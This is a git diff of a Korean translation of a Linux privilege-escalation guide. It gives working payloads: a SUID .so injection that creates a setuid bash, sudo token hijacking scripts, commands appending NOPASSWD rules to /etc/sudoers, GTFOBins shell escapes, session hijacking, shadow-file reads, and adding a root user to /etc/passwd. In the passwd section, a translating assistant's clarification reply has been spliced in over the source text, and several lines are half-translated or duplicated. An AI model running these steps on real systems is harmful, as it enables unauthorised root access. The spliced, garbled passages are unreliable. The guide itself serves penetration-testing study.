privesc는 공격자가 **LD_LIBRARY_PATH** env variable을 제어하면 악용될 수 있습니다. 공격자가 라이브러리가 검색될 경로를 제어하기 때문입니다. ```c #include #include @@ -920,13 +924,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -특이한 **SUID** 권한을 가진 binary를 발견하면, 해당 바이너리가 **.so** 파일을 제대로 로드하는지 확인하는 것이 좋다. 이는 다음 명령어를 실행하여 확인할 수 있다: +비정상적으로 보이는 **SUID** 권한의 바이너리를 발견하면, 해당 바이너리가 **.so** 파일을 제대로 로드하는지 확인하는 것이 좋습니다. 다음 명령을 실행하여 확인할 수 있습니다: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -예를 들어, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_와 같은 오류가 발생하면 잠재적인 악용 가능성을 시사합니다. +예를 들어, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ 같은 오류가 발생하면 잠재적인 악용 가능성이 있음을 의미합니다. -이를 악용하기 위해서는 _"/path/to/.config/libcalc.c"_라는 C 파일을 생성하고 다음 코드를 포함시키면 됩니다: +이를 악용하려면, 예를 들어 _"/path/to/.config/libcalc.c"_ 라는 C 파일을 생성하고 다음 코드를 포함시킵니다: ```c #include #include @@ -937,13 +941,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -이 코드는 컴파일되어 실행되면 파일 권한을 조작하고 권한이 상승된 쉘을 실행하여 권한을 획득하는 것을 목표로 합니다. +이 코드는 컴파일 및 실행되면 파일 권한을 조작하고 권한이 상승된 셸을 실행하여 권한 상승을 시도합니다. -위 C 파일을 공유 오브젝트(.so) 파일로 컴파일하려면 다음을 사용하세요: +위 C 파일을 shared object (.so) 파일로 컴파일하려면: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -마지막으로, 영향을 받은 SUID binary를 실행하면 exploit가 트리거되어 잠재적으로 시스템 침해가 발생할 수 있습니다. +마지막으로, 영향을 받는 SUID binary를 실행하면 exploit이 트리거되어 잠재적인 system compromise를 초래할 수 있습니다. ## Shared Object Hijacking ```bash @@ -955,7 +959,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -이제 쓰기 가능한 폴더에서 라이브러리를 로드하는 SUID 바이너리를 찾았으므로, 해당 폴더에 필요한 이름으로 라이브러리를 생성합시다: +이제 우리가 쓰기 가능한 폴더에서 library를 로드하는 SUID binary를 찾았으니, 해당 폴더에 필요한 이름으로 library를 생성합시다: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -972,19 +976,20 @@ system("/bin/bash -p"); ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -즉, 생성한 라이브러리는 `a_function_name`이라는 함수가 있어야 합니다. +즉, 생성한 라이브러리는 `a_function_name`이라는 함수를 갖고 있어야 합니다. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) 은 공격자가 로컬 보안 제한을 우회하는 데 악용할 수 있는 Unix 바이너리의 선별된 목록입니다. [**GTFOArgs**](https://gtfoargs.github.io/) 는 명령에 **인수만 주입할 수 있는** 경우를 위한 동일한 프로젝트입니다. +[**GTFOBins**](https://gtfobins.github.io) 은 공격자가 로컬 보안 제한을 우회하기 위해 악용할 수 있는 Unix 바이너리 목록을 선별해 놓은 것입니다. [**GTFOArgs**](https://gtfoargs.github.io/) 는 명령에 **인수만 주입할 수 있는** 경우에 해당하는 동일한 리스트입니다. -이 프로젝트는 제한된 쉘에서 빠져나오거나 권한 상승 또는 유지, 파일 전송, bind 및 reverse shell 생성, 기타 post-exploitation 작업을 수행하는 데 악용될 수 있는 Unix 바이너리의 정당한 기능들을 수집합니다. +이 프로젝트는 제한된 셸에서 빠져나오거나, 권한을 상승 또는 유지하거나, 파일을 전송하거나, bind 및 reverse shells를 생성하거나, 기타 post-exploitation 작업을 용이하게 하기 위해 악용할 수 있는 Unix 바이너리의 정당한 기능들을 수집합니다. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ > strace -o /dev/null /bin/sh\ > sudo awk 'BEGIN {system("/bin/sh")}' + {{#ref}} https://gtfobins.github.io/ {{#endref}} @@ -1002,54 +1007,54 @@ If you can access `sudo -l` you can use the tool [**FallOfSudo**](https://github In cases where you have **sudo access** but not the password, you can escalate privileges by **waiting for a sudo command execution and then hijacking the session token**. -권한 상승을 위한 요구사항: +Requirements to escalate privileges: -- 이미 사용자 "_sampleuser_"로 쉘을 가지고 있어야 합니다 -- "_sampleuser_"는 **`sudo`를 사용하여** 무언가를 **최근 15mins**에 실행한 적이 있어야 합니다 (기본적으로 이는 비밀번호 없이 `sudo`를 사용할 수 있게 해주는 sudo 토큰의 지속 시간입니다) -- `cat /proc/sys/kernel/yama/ptrace_scope` is 0 +- 이미 사용자 _sampleuser_로 쉘을 가지고 있어야 합니다 +- _sampleuser_가 **`sudo`를 사용**해 무언가를 **마지막 15분 이내에** 실행했어야 합니다 (기본적으로 이 기간이 sudo 토큰의 유효기간이며, 이 토큰으로 비밀번호 없이 `sudo`를 사용할 수 있습니다) +- `cat /proc/sys/kernel/yama/ptrace_scope`가 0이어야 합니다 - `gdb`에 접근할 수 있어야 합니다 (업로드할 수 있어야 합니다) -(일시적으로 `ptrace_scope`를 활성화하려면 `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` 를 사용하거나 `/etc/sysctl.d/10-ptrace.conf`를 영구적으로 수정해 `kernel.yama.ptrace_scope = 0`으로 설정하세요) +(임시로 `ptrace_scope`를 활성화하려면 `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope`를 사용하거나 `/etc/sysctl.d/10-ptrace.conf`를 영구적으로 수정하여 `kernel.yama.ptrace_scope = 0`으로 설정할 수 있습니다) If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): +- 첫 번째 익스플로잇(`exploit.sh`)은 _/tmp_에 `activate_sudo_token` 바이너리를 생성합니다. 이를 사용해 **세션에서 sudo 토큰을 활성화**할 수 있습니다 (자동으로 root 쉘이 생성되지는 않으니 `sudo su`를 실행하세요): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- **두 번째 exploit** (`exploit_v2.sh`)는 _/tmp_에 sh 쉘을 생성하며, **setuid가 설정된 root 소유**입니다 +- 두 번째 **exploit** (`exploit_v2.sh`)는 _/tmp_에 **root 소유이며 setuid가 설정된** sh 셸을 생성합니다 ```bash bash exploit_v2.sh /tmp/sh -p ``` -- The **third exploit** (`exploit_v3.sh`)는 **sudoers file을 생성**하여 **sudo tokens을 영구화하고 모든 사용자가 sudo를 사용할 수 있도록 허용합니다** +- **세 번째 exploit** (`exploit_v3.sh`)는 **sudoers file을 생성**하여 **sudo tokens를 영구화하고 모든 사용자가 sudo를 사용하도록 허용**합니다 ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -폴더 또는 폴더 내에 생성된 파일들 중 어느 하나에 대해 **쓰기 권한**이 있다면, 이 바이너리 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)을 사용하여 사용자와 PID에 대한 **sudo token**을 생성할 수 있습니다.\ -예를 들어, 파일 _/var/run/sudo/ts/sampleuser_을 덮어쓸 수 있고 해당 사용자로 PID 1234의 셸이 있다면, 암호를 알 필요 없이 다음과 같이 **sudo 권한을 얻을 수 있습니다**: +폴더 또는 폴더 내에 생성된 파일들 중 어떤 파일에 대해 **write permissions**가 있는 경우, 바이너리 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)을 사용하여 **create a sudo token for a user and PID**할 수 있습니다.\ +예를 들어, 파일 _/var/run/sudo/ts/sampleuser_를 덮어쓸 수 있고 해당 사용자로서 PID 1234인 shell이 있다면, 다음과 같이 비밀번호를 알 필요 없이 **obtain sudo privileges**할 수 있습니다: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -파일 `/etc/sudoers` 및 `/etc/sudoers.d` 내부의 파일들은 누가 `sudo`를 사용할 수 있는지와 그 방식을 구성합니다. 이 파일들은 **기본적으로 user root와 group root만 읽을 수 있습니다**.\ -**만약** 이 파일을 **읽을 수 있다면**, **흥미로운 정보를 얻을 수 있습니다**, 그리고 어떤 파일에 **쓸 수 있다면**, **escalate privileges**를 할 수 있습니다. +파일 `/etc/sudoers`와 `/etc/sudoers.d` 안의 파일들은 누가 `sudo`를 어떻게 사용할 수 있는지 설정합니다. 이 파일들은 **기본적으로 root 사용자와 root 그룹만 읽을 수 있습니다**.\ +**만약** 이 파일을 **읽을 수 있다면** 흥미로운 정보를 **얻을 수 있습니다**, 그리고 어떤 파일을 **쓸 수 있다면** **escalate privileges** 할 수 있습니다. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -쓰기 권한이 있으면 이 권한을 악용할 수 있다 +쓰기 권한이 있으면 이 권한을 악용할 수 있습니다. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -이러한 권한을 악용하는 또 다른 방법: +이 권한들을 악용하는 또 다른 방법: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -1058,15 +1063,15 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -`sudo` 바이너리의 대안으로 OpenBSD용 `doas` 같은 것이 있으니 구성 파일인 `/etc/doas.conf`를 확인하세요. +`sudo` 바이너리의 대안으로 OpenBSD용 `doas` 같은 것들이 있으니, 설정을 `/etc/doas.conf`에서 확인하세요. ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -만약 **사용자가 일반적으로 머신에 접속해 `sudo`를 사용**하여 권한을 상승시키고, 해당 사용자 컨텍스트에서 쉘을 얻었다면, **새로운 sudo executable을 만들 수 있습니다**. 이 실행파일은 먼저 root로 당신의 코드를 실행한 다음 사용자의 명령을 실행합니다. 그런 다음 사용자 컨텍스트의 **$PATH를 수정**(예: .bash_profile에 새 경로를 추가)하여 사용자가 sudo를 실행할 때 당신의 sudo executable이 실행되도록 합니다. +**사용자가 일반적으로 머신에 접속해 `sudo`를 사용하는 경우** 권한 상승을 위해 해당 사용자 컨텍스트에서 쉘을 얻었다면, **create a new sudo executable**을 만들어 먼저 루트로 당신의 코드를 실행하고 그 다음 사용자의 명령을 실행하게 할 수 있습니다. 그런 다음 사용자 컨텍스트의 **$PATH**를 수정(예: .bash_profile에 새 경로를 추가)하여 사용자가 sudo를 실행할 때 당신의 sudo 실행 파일이 실행되도록 합니다. -사용자가 다른 쉘(예: bash가 아닌)을 사용하면 새 경로를 추가하기 위해 다른 파일들을 수정해야 한다는 점에 유의하세요. 예를 들어[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. You can find another example in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +참고로 사용자가 다른 셸(bash가 아닌)을 사용하면 새 경로를 추가하기 위해 다른 파일들을 수정해야 합니다. 예를 들어[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) 는 `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`를 수정합니다. 다른 예시는 [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)에서 찾을 수 있습니다. 또는 다음과 같이 실행할 수도 있습니다: ```bash @@ -1087,13 +1092,13 @@ sudo ls ### ld.so -`/etc/ld.so.conf` 파일은 **로드되는 구성 파일들이 어디에서 오는지**를 나타냅니다. 일반적으로 이 파일에는 다음 경로가 포함됩니다: `include /etc/ld.so.conf.d/*.conf` +The file `/etc/ld.so.conf` indicates **where the loaded configurations files are from**. Typically, this file contains the following path: `include /etc/ld.so.conf.d/*.conf` -즉 `/etc/ld.so.conf.d/*.conf`에 있는 구성 파일들이 읽힙니다. 이 구성 파일들은 **라이브러리를 검색할 다른 폴더들**을 가리킵니다. 예를 들어 `/etc/ld.so.conf.d/libc.conf`의 내용이 `/usr/local/lib`라면, **시스템은 `/usr/local/lib` 내부에서 라이브러리를 검색합니다**. - -만약 어떤 이유로든 지정된 경로들(`/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` 내부의 어떤 파일 또는 `/etc/ld.so.conf.d/*.conf` 안의 구성 파일이 가리키는 어떤 폴더)에 대해 **사용자에게 쓰기 권한이 있다면**, 그 사용자는 권한 상승을 할 수 있습니다.\ -다음 페이지에서 이 잘못된 구성을 **어떻게 악용하는지**를 확인하세요: +That means that the configuration files from `/etc/ld.so.conf.d/*.conf` will be read. This configuration files **points to other folders** where **libraries** are going to be **searched** for. For example, the content of `/etc/ld.so.conf.d/libc.conf` is `/usr/local/lib`. **This means that the system will search for libraries inside `/usr/local/lib`**. +If for some reason **a user has write permissions** on any of the paths indicated: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, any file inside `/etc/ld.so.conf.d/` or any folder within the config file inside `/etc/ld.so.conf.d/*.conf` he may be able to escalate privileges.\ +다음 경로들 중 어느 하나에 대해 **사용자에게 쓰기 권한이 있는 경우**: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` 내의 파일 또는 `/etc/ld.so.conf.d/*.conf`에 지정된 구성 파일 안의 폴더라면 권한 상승이 가능할 수 있습니다.\ +다음 페이지에서 이 잘못된 구성(**misconfiguration**)을 **어떻게 악용하는지**를 확인하세요: {{#ref}} ld.so.conf-example.md @@ -1110,7 +1115,7 @@ linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -lib를 `/var/tmp/flag15/`로 복사하면 `RPATH` 변수에 지정된 대로 프로그램이 이 위치의 lib를 사용합니다. +lib를 `/var/tmp/flag15/`로 복사하면 `RPATH` 변수에 지정된 대로 해당 위치에서 프로그램에 의해 사용됩니다. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1119,7 +1124,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -그런 다음 `/var/tmp`에 악성 라이브러리를 다음과 같이 생성하세요: `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +그런 다음 `/var/tmp`에 악성 라이브러리를 다음 명령으로 생성하세요: `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1134,8 +1139,8 @@ execve(file,argv,0); ``` ## Capabilities -Linux capabilities는 프로세스에 사용할 수 있는 root 권한의 **하위 집합**을 제공합니다. 이는 root 권한을 **더 작고 구별되는 단위들**로 분해하는 효과가 있습니다. 각 단위는 개별적으로 프로세스에 부여될 수 있습니다. 이렇게 전체 권한 세트가 축소되어 악용 위험이 감소합니다.\ -다음 페이지를 읽어 **capabilities와 이를 악용하는 방법**에 대해 더 알아보세요: +Linux capabilities는 프로세스에 제공되는 **root 권한의 하위 집합**을 제공합니다. 이는 root 권한을 **더 작고 개별적인 단위들로 분해**하는 효과가 있습니다. 이들 각 단위는 개별적으로 프로세스에 부여될 수 있습니다. 이렇게 하면 전체 권한 집합이 줄어들어 exploitation의 위험이 감소합니다.\ +다음 페이지를 참고하여 **capabilities와 이를 남용하는 방법**에 대해 자세히 알아보세요: {{#ref}} @@ -1144,32 +1149,32 @@ linux-capabilities.md ## Directory permissions -디렉터리에서 **"execute" 비트**는 해당 사용자가 **"cd"** 해서 폴더로 들어갈 수 있음을 의미합니다.\ -**"read"** 비트는 사용자가 **files를 list**할 수 있음을 의미하고, **"write"** 비트는 사용자가 **files를 delete**하고 새로운 **files를 create**할 수 있음을 의미합니다. +디렉터리에서, **bit for "execute"**는 해당 사용자가 "**cd**"로 폴더에 들어갈 수 있음을 의미합니다.\ +**"read"** 비트는 사용자가 **list** **files**할 수 있음을 의미하고, **"write"** 비트는 사용자가 **delete** 및 **create** 새 **files**할 수 있음을 의미합니다. ## ACLs -Access Control Lists (ACLs)는 전통적인 ugo/rwx 권한을 **overriding**할 수 있는 임의 권한의 2차 계층을 나타냅니다. 이러한 권한은 소유자도 아니고 그룹의 구성원도 아닌 특정 사용자에게 권한을 허용하거나 거부함으로써 파일 또는 디렉토리 접근에 대한 제어를 강화합니다. 이 수준의 **세분화는 보다 정밀한 접근 관리를 보장**합니다. 자세한 내용은 [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux)에서 확인하세요. +Access Control Lists (ACLs)는 재량적 권한의 2차 계층을 나타내며, 전통적인 ugo/rwx 권한을 **overriding**할 수 있습니다. 이러한 권한은 소유자나 그룹에 속하지 않는 특정 사용자에게 권한을 허용하거나 거부함으로써 파일 또는 디렉터리 접근에 대한 제어를 강화합니다. 이 수준의 **세분화는 보다 정밀한 접근 관리를 보장**합니다. 자세한 내용은 [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux)에서 확인할 수 있습니다. -**부여** 사용자 "kali"에게 파일에 대한 read 및 write 권한: +**Give** user "kali"에게 파일에 대한 read 및 write 권한을 부여: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**가져오기** 시스템에서 특정 ACL을 가진 파일: +**시스템에서 특정 ACLs를 가진 파일 가져오기:** ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` ## 열린 shell 세션 -**구버전**에서는 다른 사용자(**root**)의 **shell** 세션을 **hijack**할 수 있습니다.\ -**최신 버전**에서는 **connect**할 수 있는 대상이 오직 **자신의 user**의 screen 세션뿐입니다. 그러나 **세션 내부의 흥미로운 정보**를 찾을 수 있습니다. +**old versions**에서는 다른 사용자(**root**)의 일부 **shell** 세션을 **hijack**할 수 있습니다.\ +**newest versions**에서는 **your own user**의 screen 세션에만 **connect**할 수 있습니다. 그러나 세션 내부에서 **interesting information inside the session**을(를) 찾을 수 있습니다. ### screen sessions hijacking -**screen 세션 목록 보기** +**screen sessions 목록** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1184,9 +1189,9 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -이 문제는 **old tmux versions**에서 발생했습니다. non-privileged user로는 root가 생성한 tmux (v2.1) 세션을 hijack할 수 없었습니다. +이 문제는 **old tmux versions**에서 발생했습니다. 저는 non-privileged user로서 root에 의해 생성된 tmux (v2.1) 세션을 hijack할 수 없었습니다. -**List tmux sessions** +**tmux sessions 목록 표시** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1194,7 +1199,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i ``` ![](<../../images/image (837).png>) -**세션에 연결하기** +**세션에 Attach** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1204,53 +1209,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Check **Valentine box from HTB** for an example. +예제는 **Valentine box from HTB**를 확인하세요. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -2006년 9월부터 2008년 5월 13일 사이에 Debian 기반 시스템(Ubuntu, Kubuntu 등)에서 생성된 모든 SSL 및 SSH 키는 이 버그의 영향을 받을 수 있습니다.\ -이 버그는 해당 OS에서 새 ssh 키를 생성할 때 발생합니다. **가능한 변형이 32,768개에 불과했기 때문입니다**. 이는 모든 경우를 계산할 수 있음을 의미하며, **ssh 공개 키가 있으면 해당하는 개인 키를 검색할 수 있습니다**. 계산된 가능성은 여기에서 확인할 수 있습니다: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +2006년 9월부터 2008년 5월 13일 사이에 Debian 계열 시스템(Ubuntu, Kubuntu 등)에서 생성된 모든 SSL 및 SSH 키가 이 버그의 영향을 받을 수 있습니다.\ +이 버그는 해당 OS에서 새 ssh 키를 생성할 때 발생하며, **가능한 경우의 수가 단 32,768개뿐이었기 때문입니다**. 즉 모든 경우를 계산할 수 있고, **ssh 공개 키를 알고 있으면 해당 비공개 키를 찾아낼 수 있습니다**. 계산된 가능한 키 목록은 다음에서 확인할 수 있습니다: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH 흥미로운 설정 값 +### SSH Interesting configuration values -- **PasswordAuthentication:** 패스워드 인증이 허용되는지 여부를 지정합니다. 기본값은 `no`입니다. +- **PasswordAuthentication:** 암호 인증이 허용되는지 여부를 지정합니다. 기본값은 `no`입니다. - **PubkeyAuthentication:** 공개 키 인증이 허용되는지 여부를 지정합니다. 기본값은 `yes`입니다. -- **PermitEmptyPasswords**: 패스워드 인증이 허용될 때, 서버가 빈 비밀번호 문자열을 가진 계정으로의 로그인을 허용하는지 여부를 지정합니다. 기본값은 `no`입니다. +- **PermitEmptyPasswords**: 암호 인증이 허용되는 경우, 서버가 빈 비밀번호 문자열을 가진 계정으로의 로그인을 허용할지 여부를 지정합니다. 기본값은 `no`입니다. ### PermitRootLogin -root 사용자가 ssh로 로그인할 수 있는지 여부를 지정합니다. 기본값은 `no`입니다. 가능한 값: +root가 ssh로 로그인할 수 있는지 여부를 지정합니다. 기본값은 `no`입니다. 가능한 값: -- `yes`: root는 비밀번호 및 개인 키로 로그인할 수 있습니다 -- `without-password` or `prohibit-password`: root는 개인 키로만 로그인할 수 있습니다 -- `forced-commands-only`: root는 개인 키로만 로그인할 수 있으며, 명령 옵션이 지정된 경우에만 허용됩니다 -- `no`: 허용되지 않음 +- `yes`: root는 비밀번호와 private key를 사용해 로그인할 수 있습니다 +- `without-password` or `prohibit-password`: root는 private key로만 로그인할 수 있습니다 +- `forced-commands-only`: root는 private key로만 로그인할 수 있으며, 추가로 commands 옵션이 지정된 경우에만 허용됩니다 +- `no`: 허용 안 함 ### AuthorizedKeysFile -사용자 인증에 사용될 수 있는 공개 키를 포함하는 파일을 지정합니다. 파일에는 `%h`와 같은 토큰을 포함할 수 있으며, 이는 홈 디렉토리로 대체됩니다. **You can indicate absolute paths** (starting in `/`) or **relative paths from the user's home**. For example: +사용자 인증에 사용될 공개 키가 들어 있는 파일을 지정합니다. `%h`와 같은 토큰을 포함할 수 있으며, 이는 홈 디렉토리로 대체됩니다. **절대 경로**(`/`로 시작) 또는 **사용자 홈에서의 상대 경로**를 지정할 수 있습니다. 예: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -해당 구성은 사용자인 **testusername**의 **private** key로 로그인하려 시도할 경우 ssh가 당신의 key의 public key를 `/home/testusername/.ssh/authorized_keys` 및 `/home/testusername/access`에 있는 항목들과 비교할 것임을 나타냅니다. +해당 구성은 사용자인 "**testusername**"의 **private** 키로 로그인하려고 시도하면 ssh가 당신 키의 공개키를 `/home/testusername/.ssh/authorized_keys` 및 `/home/testusername/access`에 있는 키들과 비교할 것임을 나타냅니다. ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding는 서버에 (패스프레이즈 없이!) 키를 남겨두지 않고 로컬 SSH keys를 사용할 수 있게 해줍니다. 따라서 ssh로 한 호스트에 접속한 뒤, 그 호스트에 있는 key를 사용해 다른 호스트로 다시 jump할 수 있습니다. +SSH agent forwarding은 서버에 키( without passphrases!)를 남겨두지 않고 **use your local SSH keys instead of leaving keys** 할 수 있게 해줍니다. 따라서 ssh를 통해 **jump** **to a host**한 다음, 그곳에서 **initial host**에 있는 **key**를 **using**하여 다른 호스트로 **jump to another** 할 수 있습니다. 이 옵션은 `$HOME/.ssh.config`에 다음과 같이 설정해야 합니다: ``` Host example.com ForwardAgent yes ``` -주의: `Host`가 `*`이면 사용자가 다른 머신으로 이동할 때마다 해당 호스트가 키에 접근할 수 있습니다(이는 보안 문제입니다). +Notice that if `Host` is `*` every time the user jumps to a different machine, that host will be able to access the keys (which is a security issue). -파일 `/etc/ssh_config`는 이 **옵션**을 **재정의**하여 이 구성을 허용하거나 거부할 수 있습니다.\ -파일 `/etc/sshd_config`는 `AllowAgentForwarding` 키워드로 ssh-agent forwarding을 **허용**하거나 **거부**할 수 있습니다(기본값은 허용). +파일 `/etc/ssh_config`은 이 **옵션들을 재정의**하여 이 구성을 허용하거나 거부할 수 있습니다.\ +`/etc/sshd_config` 파일은 `AllowAgentForwarding` 키워드로 ssh-agent 포워딩을 **허용**하거나 **거부**할 수 있습니다 (기본값은 허용). -환경에서 Forward Agent가 구성되어 있음을 발견하면 다음 페이지를 읽으세요. **권한 상승에 악용될 수 있습니다**: +If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -1261,66 +1266,76 @@ ssh-forward-agent-exploitation.md ### 프로필 파일 -파일 `/etc/profile` 및 `/etc/profile.d/` 아래의 파일들은 **사용자가 새 쉘을 실행할 때 실행되는 스크립트들**입니다. 따라서, 이들 중 어느 하나를 **쓰거나 수정할 수 있다면 권한을 상승시킬 수 있습니다**. +`/etc/profile` 파일과 `/etc/profile.d/` 아래의 파일들은 사용자가 새 쉘을 실행할 때 **실행되는 스크립트입니다**. 따라서, 그 중 어느 하나를 **쓰기 또는 수정할 수 있다면 권한을 상승시킬 수 있습니다**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -수상한 프로필 스크립트가 발견되면 **민감한 세부 정보**가 있는지 확인해야 합니다. +이상한 프로파일 스크립트가 발견되면 **민감한 정보**를 확인해야 합니다. ### Passwd/Shadow 파일 -OS에 따라 `/etc/passwd` 및 `/etc/shadow` 파일의 이름이 다르거나 백업이 있을 수 있습니다. 따라서 모든 파일을 **찾아보고**, **읽을 수 있는지 확인**하여 파일 내부에 **해시가 있는지** 확인하는 것이 좋습니다: +OS에 따라 `/etc/passwd` 및 `/etc/shadow` 파일은 다른 이름을 사용하거나 백업이 있을 수 있습니다. 따라서 **모두 찾고** **읽을 수 있는지 확인하여** 파일 내부에 **해시가 있는지** 확인하는 것이 권장됩니다: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -어떤 경우에는 `/etc/passwd`(또는 동등한 파일) 안에서 **password hashes**를 찾을 수 있습니다. +일부 경우에는 `/etc/passwd` (또는 동등한 파일) 안에서 **password hashes**를 찾을 수 있습니다. ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` ### 쓰기 가능한 /etc/passwd -먼저, 다음 명령어들 중 하나로 비밀번호를 생성하세요. +먼저, 다음 명령어 중 하나로 비밀번호를 생성하세요. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -그런 다음 사용자 `hacker`를 추가하고 생성된 비밀번호를 추가하세요. +어떤 작업을 원하시는지 확인할게요—두 가지 가능한 해석이 있습니다. 원하시는 쪽을 선택해 답해 주세요: + +1) README.md 파일 자체를 번역하고, 그 번역된 문서에 사용자 `hacker` 와 (생성한) 비밀번호를 포함하도록 수정해 달라는 의미인가요? +-> 그러면 번역할 원본 README.md 내용을 보내 주세요. 포함할 비밀번호를 직접 제공하시거나 제가 생성해 드리길 원하시면 길이(예: 12자)와 허용 문자 범위(예: 알파벳+숫자+특수문자)를 알려 주세요. + +2) 실제 Linux 시스템에서 사용자 `hacker` 를 추가하고 생성한 비밀번호를 설정하는 명령을 원하시는 건가요? +-> 이 경우, 자동으로 비밀번호를 생성해 명령 예시를 드릴 수 있습니다. 예: + - 비밀번호 생성: openssl rand -base64 12 + - 사용자 추가: sudo useradd -m -s /bin/bash hacker + - 비밀번호 설정: echo "hacker:생성된비밀번호" | sudo chpasswd + +원하시는 옵션(1 또는 2)과, 옵션 1을 택하시면 원본 파일, 옵션 2를 택하시면 비밀번호 생성 규칙을 알려 주세요. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` 예: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -이제 `hacker:hacker`로 `su` 명령을 사용할 수 있습니다 +이제 `su` 명령어를 사용하여 `hacker:hacker`를 사용할 수 있습니다. -또는, 암호 없는 더미 사용자를 추가하려면 다음 줄을 사용할 수 있습니다.\ - -경고: 현재 머신의 보안이 저하될 수 있습니다. +또는 다음 라인을 사용해 비밀번호가 없는 더미 사용자를 추가할 수 있습니다.\ +경고: 이로 인해 머신의 현재 보안이 저하될 수 있습니다. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -참고: BSD 플랫폼에서는 `/etc/passwd`가 `/etc/pwd.db` 및 